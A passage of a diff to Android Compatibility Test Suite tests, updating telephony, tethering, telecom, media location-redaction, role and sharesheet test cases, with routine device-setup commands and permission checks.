+            uris[i] = ProviderTestUtils.stageMedia(videoIds[i], mExternalVideo, "video/mp4");
+        }
+
+        for (int i = 0; i < uris.length; i++) {
+            // Since we own the video, we should be able to see the location
+            // we ourselves contributed
+            try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+                    MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+                mmr.setDataSource(pfd.getFileDescriptor());
+                assertEquals("+58.0000+011.0000/",
+                        mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+                assertEquals("2",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+            }
+        }
+
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
+
+        for (int i = 0; i < uris.length; i++) {
+            ProviderTestUtils.clearOwner(uris[i]);
+
+            try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+                    MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+                mmr.setDataSource(pfd.getFileDescriptor());
+                assertEquals(null,
+                        mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+                assertEquals("2",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+            }
         }
     }
 
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index 71a4861..4a8189f 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 60cac6a..00ddc34 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -255,6 +255,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is force stopped, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         clearPackageData(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
@@ -285,6 +289,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is uninstalled, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         uninstallPackage(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
diff --git a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
index a6cbfd8..53275fd 100644
--- a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
+++ b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
Binary files differ
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
index da99ff0..5d56ded 100644
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -24,6 +24,7 @@
 
 import android.content.pm.PackageManager;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.se.omapi.Channel;
 import android.se.omapi.Reader;
 import android.se.omapi.SEService;
@@ -154,7 +155,7 @@
 
     private boolean supportsHardware() {
         final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
-        boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+        boolean lowRamDevice = SystemProperties.getBoolean("ro.config.low_ram", false);
         return !lowRamDevice || pm.hasSystemFeature("android.hardware.type.watch")
                 || hasSecureElementPackage(pm);
     }
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index 8c2f870..f5ddc7c 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -314,7 +314,12 @@
      */
     public void showsExtraChooserTargets() {
         // Should show chooser targets but must limit them, can't test limit here
-        waitAndAssertTextContains(mExtraChooserTargetsLabelBase);
+        if (mActivityManager.isLowRamDevice()) {
+            // The direct share row and EXTRA_CHOOSER_TARGETS should be hidden on low-ram devices
+            waitAndAssertNoTextContains(mExtraChooserTargetsLabelBase);
+        } else {
+            waitAndAssertTextContains(mExtraChooserTargetsLabelBase);
+        }
     }
 
     /**
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 5c8605d..4c53d79 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -24,6 +24,8 @@
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
+        <!-- Though keyguard is disabled globally in cts-preconditions.xml, the
+             following line should be kept to make atest behave correctly. -->
         <option name="run-command" value="locksettings set-disabled true" />
     </target_preparer>
 
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index 9f2fbb8..f31dcf1 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -30,7 +30,10 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.truth.Expect;
+
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -52,6 +55,8 @@
         }
     }
 
+    @Rule public final Expect mExpect = Expect.create();
+
     private Context mContext;
     private PackageManager mPackageManager;
 
@@ -68,7 +73,6 @@
     private final IntentEntry[] mTestIntents = {
             /* Settings-namespace intent actions */
             new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
-            new IntentEntry(0, new Intent(Settings.ACTION_WEBVIEW_SETTINGS)),
             new IntentEntry(0, new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS)),
             new IntentEntry(0, new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS)),
             new IntentEntry(0, new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
@@ -115,7 +119,8 @@
             if ((productFlags & e.flags) == 0) {
                 final ResolveInfo ri = mPackageManager.resolveActivity(e.intent,
                         PackageManager.MATCH_DEFAULT_ONLY);
-                assertTrue("API intent " + e.intent + " not implemented by any activity", ri != null);
+                mExpect.withMessage("API intent %s not implemented by any activity", e.intent)
+                        .that(ri).isNotNull();
             }
         }
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 1bd1b27..3e26776 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -95,6 +95,37 @@
         verifySimulateRingAndUserPickup(call, connection);
     }
 
+    public void testHoldAfterAudioProcessingFromCallScreening() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        setupIncomingCallWithCallScreening();
+
+        final MockConnection connection = verifyConnectionForIncomingCall();
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
+
+        verifySimulateRingAndUserPickup(call, connection);
+
+        call.hold();
+        assertCallState(call, Call.STATE_HOLDING);
+        call.unhold();
+        assertCallState(call, Call.STATE_ACTIVE);
+    }
+
     public void testAudioProcessingFromCallScreeningDisallow() throws Exception {
         if (!mShouldTestTelecom) {
             return;
@@ -527,8 +558,8 @@
             assertCallState(call, Call.STATE_DISCONNECTED);
             waitOnAllHandlers(getInstrumentation());
             assertConnectionState(connection, Connection.STATE_DISCONNECTED);
-            // Make sure that the dummy app never saw the call
-            assertEquals(0, controlInterface.getHistoricalCallCount());
+            // Under some rare circumstances, the dummy app might get a flash of the disconnection
+            // call, so we won't do the call count check again.
 
             tearDownControl();
         } finally {
@@ -652,4 +683,4 @@
                 "telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
                         + " 0");
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
index 3c2c089..7f29da7 100644
--- a/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
+++ b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -15,10 +15,15 @@
  */
 package android.telephony.cts.preconditions.app;
 
-import android.content.Context;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertTrue;
+
 import android.content.pm.PackageManager;
+import android.net.wifi.WifiManager;
 import android.test.AndroidTestCase;
 import android.util.Log;
+
 import com.android.compatibility.common.preconditions.TelephonyHelper;
 
 /**
@@ -27,19 +32,31 @@
 public class TelephonyPreparerAppTest extends AndroidTestCase {
     private static final String TAG = "TelephonyPreparerAppTest";
 
+
+    private boolean hasTelephony() {
+        final PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
+
     /**
      * Test if device has a valid phone number
      * @throws Exception
      */
     public void testPhoneNumberPresent() throws Exception {
-        PackageManager pm = this.getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return; // do not test for phone number on devices without telephony feature
-        }
+        if (!hasTelephony()) return;
 
         if (!TelephonyHelper.hasPhoneNumber(this.getContext())) {
             Log.e(TAG, "No SIM card with phone number is found in the device, "
                 + "some tests might not run properly");
         }
     }
-}
\ No newline at end of file
+
+    public void testEnsureWifiDisabled() throws Exception {
+        if (!hasTelephony()) return;
+
+        final WifiManager wifiManager = getContext().getSystemService(
+                android.net.wifi.WifiManager.class);
+
+        runWithShellPermissionIdentity(() -> assertTrue(wifiManager.setWifiEnabled(false)));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 341cba0..b9138b2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -21,8 +21,8 @@
 import static android.app.AppOpsManager.OPSTR_READ_PHONE_STATE;
 import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_OVERRIDE_BOOL;
 import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_STRING;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL;
 import static android.telephony.CarrierConfigManager.KEY_FORCE_HOME_NETWORK_BOOL;
-import static android.telephony.CarrierConfigManager.Wifi.KEY_HOTSPOT_MAX_CLIENT_COUNT;
 import static android.telephony.ServiceState.STATE_IN_SERVICE;
 
 import static androidx.test.InstrumentationRegistry.getContext;
@@ -115,7 +115,8 @@
 
     private void checkConfig(PersistableBundle config) {
         if (config == null) {
-            assertFalse("Config should only be null when telephony is not running.", hasTelephony());
+            assertFalse(
+                    "Config should only be null when telephony is not running.", hasTelephony());
             return;
         }
         assertNotNull("CarrierConfigManager should not return null config", config);
@@ -305,7 +306,10 @@
                 mConfigManager.getConfigByComponentForSubId(
                         CarrierConfigManager.Wifi.KEY_PREFIX,
                         SubscriptionManager.getDefaultSubscriptionId());
-        assertEquals(config.size(), 1);
-        assertTrue(config.containsKey(KEY_HOTSPOT_MAX_CLIENT_COUNT));
+        if (config != null) {
+            assertTrue(config.containsKey(CarrierConfigManager.Wifi.KEY_HOTSPOT_MAX_CLIENT_COUNT));
+            assertFalse(config.containsKey(KEY_CARRIER_VOLTE_PROVISIONED_BOOL));
+            assertFalse(config.containsKey(CarrierConfigManager.Gps.KEY_SUPL_ES_STRING));
+        }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index a992b9b..c03877c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -82,8 +82,8 @@
     private static final int MAX_RSRQ = -3;
     private static final int MIN_RSRQ = -35;
     // Maximum and minimum possible RSSNR values.
-    private static final int MAX_RSSNR = 50;
-    private static final int MIN_RSSNR = 0;
+    private static final int MAX_RSSNR = 30;
+    private static final int MIN_RSSNR = -20;
     // Maximum and minimum possible CQI values.
     private static final int MAX_CQI = 30;
     private static final int MIN_CQI = 0;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
index 0849b64..4cbe6ad 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
@@ -25,6 +25,9 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
 import android.os.SystemClock;
 import android.telephony.CellSignalStrength;
 import android.telephony.CellSignalStrengthCdma;
@@ -78,6 +81,10 @@
 
         if (!isCamped()) fail("Device is not camped on cellular");
 
+        // Detect accidental connection to Wi-Fi for data, which fails the test,
+        // due to IWLAN often being enabled.
+        assertDeviceIsOnCellDataOrNoData();
+
         SignalStrength ss = mTm.getSignalStrength();
         assertNotNull("TelephonyManager.getSignalStrength() returned NULL!", ss);
 
@@ -98,7 +105,7 @@
         if (dataType != null) types.add(dataType);
 
         Class<? extends CellSignalStrength> voiceType =
-                getSignalStrengthTypeForNetworkType(mTm.getNetworkType());
+                getSignalStrengthTypeForNetworkType(mTm.getVoiceNetworkType());
 
         // Check if camped for Voice-Only
         if (dataType == null && voiceType != null) {
@@ -118,12 +125,13 @@
         }
 
         for (CellSignalStrength css : signalStrengths) {
-            assertTrue("Invalid SignalStrength type detected" + css.getClass(),
-                    types.contains(css.getClass()));
+            assertTrue("Invalid SignalStrength type detected:" + css.getClass()
+                    + " - Allowed Types: " + types, types.contains(css.getClass()));
         }
 
-        assertTrue(!ss.getCellSignalStrengths(dataType).isEmpty()
-                || !ss.getCellSignalStrengths(voiceType).isEmpty());
+        assertTrue("No valid signal strengths reported for the camped/registered network types",
+                (dataType != null && !ss.getCellSignalStrengths(dataType).isEmpty())
+                        || (voiceType != null && !ss.getCellSignalStrengths(voiceType).isEmpty()));
     }
 
     /** Check whether the device is LTE + NR dual connected */
@@ -132,6 +140,15 @@
         return ss != null && ss.getNrState() == NR_STATE_CONNECTED;
     }
 
+    private void assertDeviceIsOnCellDataOrNoData() {
+        ConnectivityManager cm = getContext().getSystemService(ConnectivityManager.class);
+        Network activeNetwork = cm.getActiveNetwork();
+        if (activeNetwork == null) return;
+        assertTrue("Device is connected and using non-cellular data (likely Wi-Fi)",
+                cm.getNetworkCapabilities(activeNetwork)
+                        .hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR));
+    }
+
     /** Get the CellSignalStrength class type that should be returned when using a network type */
     private static Class<? extends CellSignalStrength>
             getSignalStrengthTypeForNetworkType(int networkType) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index c7b14ec..92dd117 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -99,9 +99,6 @@
     public static void setUpClass() throws Exception {
         if (!isSupported()) return;
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .executeShellCommand("svc wifi disable");
-
         final TestNetworkCallback callback = new TestNetworkCallback();
         final ConnectivityManager cm = InstrumentationRegistry.getContext()
                 .getSystemService(ConnectivityManager.class);
@@ -122,9 +119,6 @@
     @AfterClass
     public static void tearDownClass() throws Exception {
         if (!isSupported()) return;
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .executeShellCommand("svc wifi enable");
     }
 
     @Before
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 675947c..193f8fb 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.telephony.cts;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertEquals;
@@ -38,7 +40,6 @@
 import android.database.ContentObserver;
 import android.net.ConnectivityManager;
 import android.net.Uri;
-import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
 import android.os.AsyncTask;
 import android.os.Build;
@@ -563,7 +564,8 @@
         }
 
         mTelephonyManager.getDefaultRespondViaMessageApplication();
-        mTelephonyManager.getAndUpdateDefaultRespondViaMessageApplication();
+        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
     }
 
     /**
@@ -911,19 +913,16 @@
     private String getWifiMacAddress() {
         WifiManager wifiManager = getContext().getSystemService(WifiManager.class);
 
-        boolean enabled = wifiManager.isWifiEnabled();
+        if (wifiManager.isWifiEnabled()) {
+            return wifiManager.getConnectionInfo().getMacAddress();
+        } else {
+            try {
+                runWithShellPermissionIdentity(() -> wifiManager.setWifiEnabled(true));
 
-        try {
-            if (!enabled) {
-                wifiManager.setWifiEnabled(true);
-            }
+                return wifiManager.getConnectionInfo().getMacAddress();
 
-            WifiInfo wifiInfo = wifiManager.getConnectionInfo();
-            return wifiInfo.getMacAddress();
-
-        } finally {
-            if (!enabled) {
-                wifiManager.setWifiEnabled(false);
+            } finally {
+                runWithShellPermissionIdentity(() -> wifiManager.setWifiEnabled(false));
             }
         }
     }
@@ -2076,10 +2075,6 @@
         assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS);
     }
 
-    private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
-        assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS);
-    }
-
     private static void assertUpdateAvailableNetworkNoOpportunisticSub(int value) {
         assertThat(value).isEqualTo(
                 TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE);
@@ -2169,8 +2164,6 @@
         List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
         Consumer<Integer> callbackSuccess =
                 TelephonyManagerTest::assertUpdateAvailableNetworkSuccess;
-        Consumer<Integer> callbackFailure =
-                TelephonyManagerTest::assertUpdateAvailableNetworkInvalidArguments;
         Consumer<Integer> callbackNoOpSub =
                 TelephonyManagerTest::assertUpdateAvailableNetworkNoOpportunisticSub;
         if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
@@ -2188,7 +2181,7 @@
             availableNetworkInfos.clear();
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     (tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
-                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+                            AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
         } else {
             AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(
                     subscriptionInfoList.get(0).getSubscriptionId(),
@@ -2212,20 +2205,21 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
-
-        boolean rebootRequired = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.doesSwitchMultiSimConfigTriggerReboot());
-
-        // It's hard to test if reboot is needed.
-        if (!rebootRequired) {
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.switchMultiSimConfig(1));
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.switchMultiSimConfig(2));
-        } else {
+        try {
+            mTelephonyManager.switchMultiSimConfig(mTelephonyManager.getActiveModemCount());
+            fail("TelephonyManager#switchMultiSimConfig should require the MODIFY_PHONE_STATE"
+                    + " permission to access.");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
             // This should result in no-op.
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.switchMultiSimConfig(mTelephonyManager.getPhoneCount()));
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.switchMultiSimConfig(mTelephonyManager.getActiveModemCount()),
+                    SecurityException.class, "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("TelephonyManager#switchMultiSimConfig should require MODIFY_PHONE_STATE"
+                    + "permission to access.");
         }
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 6899e42..2c24f18 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -196,6 +196,20 @@
         if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
             fail("This test requires that there is a SIM in the device!");
         }
+        // Sanity check: ensure that the subscription hasn't changed between tests.
+        int[] subs = SubscriptionManager.getSubId(sTestSlot);
+
+        if (subs == null) {
+            fail("This test requires there is an active subscription in slot " + sTestSlot);
+        }
+        boolean isFound = false;
+        for (int sub : subs) {
+            isFound |= (sTestSub == sub);
+        }
+        if (!isFound) {
+            fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
+                    + "during this test.");
+        }
     }
 
     @After
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index 8c904ee..50ae5b7 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -54,22 +54,34 @@
 
     public static int getPreferredActiveSubId() {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
-        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            return defaultSubId;
-        }
-        // Couldn't resolve a default. We can try to resolve a default using the active
-        // subscriptions.
         SubscriptionManager sm = (SubscriptionManager) context.getSystemService(
                 Context.TELEPHONY_SUBSCRIPTION_SERVICE);
         List<SubscriptionInfo> infos = ShellIdentityUtils.invokeMethodWithShellPermissions(sm,
                 SubscriptionManager::getActiveSubscriptionInfoList);
+
+        int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID
+                && isSubIdInInfoList(infos, defaultSubId)) {
+            return defaultSubId;
+        }
+
+        defaultSubId = SubscriptionManager.getDefaultSubscriptionId();
+        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID
+                && isSubIdInInfoList(infos, defaultSubId)) {
+            return defaultSubId;
+        }
+
+        // Couldn't resolve a default. We can try to resolve a default using the active
+        // subscriptions.
         if (!infos.isEmpty()) {
             return infos.get(0).getSubscriptionId();
         }
-        // The best we can do is fall back to any default set. If it fails, notify the tester
-        // that there must be a default set.
-        return SubscriptionManager.getDefaultSubscriptionId();
+        // There must be at least one active subscription.
+        return SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    }
+
+    private static boolean isSubIdInInfoList(List<SubscriptionInfo> infos, int subId) {
+        return infos.stream().anyMatch(info -> info.getSubscriptionId() == subId);
     }
 
     /**
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
index f7160dd..5e2f627 100644
--- a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
+++ b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
@@ -57,8 +57,11 @@
 import android.net.TetheringManager.TetheringRequest;
 import android.net.cts.util.CtsNetUtils;
 import android.net.cts.util.CtsNetUtils.TestNetworkCallback;
+import android.net.wifi.WifiClient;
 import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SoftApCallback;
 import android.os.Bundle;
+import android.os.ConditionVariable;
 import android.os.PersistableBundle;
 import android.os.ResultReceiver;
 import android.telephony.CarrierConfigManager;
@@ -135,6 +138,40 @@
         dropShellPermissionIdentity();
     }
 
+    private static class StopSoftApCallback implements SoftApCallback {
+        private final ConditionVariable mWaiting = new ConditionVariable();
+        @Override
+        public void onStateChanged(int state, int failureReason) {
+            if (state == WifiManager.WIFI_AP_STATE_DISABLED) mWaiting.open();
+        }
+
+        @Override
+        public void onConnectedClientsChanged(List<WifiClient> clients) { }
+
+        public void waitForSoftApStopped() {
+            if (!mWaiting.block(DEFAULT_TIMEOUT_MS)) {
+                fail("stopSoftAp Timeout");
+            }
+        }
+    }
+
+    // Wait for softAp to be disabled. This is necessary on devices where stopping softAp
+    // deletes the interface. On these devices, tethering immediately stops when the softAp
+    // interface is removed, but softAp is not yet fully disabled. Wait for softAp to be
+    // fully disabled, because otherwise the next test might fail because it attempts to
+    // start softAp before it's fully stopped.
+    private void expectSoftApDisabled() {
+        final StopSoftApCallback callback = new StopSoftApCallback();
+        try {
+            mWm.registerSoftApCallback(c -> c.run(), callback);
+            // registerSoftApCallback will immediately call the callback with the current state, so
+            // this callback will fire even if softAp is already disabled.
+            callback.waitForSoftApStopped();
+        } finally {
+            mWm.unregisterSoftApCallback(callback);
+        }
+    }
+
     private class TetherChangeReceiver extends BroadcastReceiver {
         private class TetherState {
             final ArrayList<String> mAvailable;
@@ -294,6 +331,7 @@
         mTetherChangeReceiver.expectTethering(true /* active */, wifiRegexs);
 
         mTM.stopTethering(TETHERING_WIFI);
+        expectSoftApDisabled();
         mTetherChangeReceiver.expectTethering(false /* active */, wifiRegexs);
     }
 
@@ -544,6 +582,7 @@
 
     private void stopWifiTethering(final TestTetheringEventCallback callback) {
         mTM.stopTethering(TETHERING_WIFI);
+        expectSoftApDisabled();
         callback.expectTetheredInterfacesChanged(null);
         callback.expectOneOfOffloadStatusChanged(TETHER_HARDWARE_OFFLOAD_STOPPED);
     }
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index 0f2e8113..e04c879 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -38,6 +38,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.RequiredServiceRule;
 import com.android.compatibility.common.util.SafeCleanerRule;
 
 import org.junit.Rule;
@@ -69,9 +70,13 @@
                     ApplicationProvider.getApplicationContext().getPackageName(),
                     TextClassifier.WIDGET_TYPE_EDIT_WEBVIEW)
                     .build();
+    private final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.TEXT_CLASSIFICATION_SERVICE);
+
     @Rule
     public final RuleChain mAllRules = RuleChain
-            .outerRule(mTestWatcher)
+            .outerRule(mRequiredServiceRule)
+            .around(mTestWatcher)
             .around(mSafeCleanerRule);
 
     @Test
diff --git a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
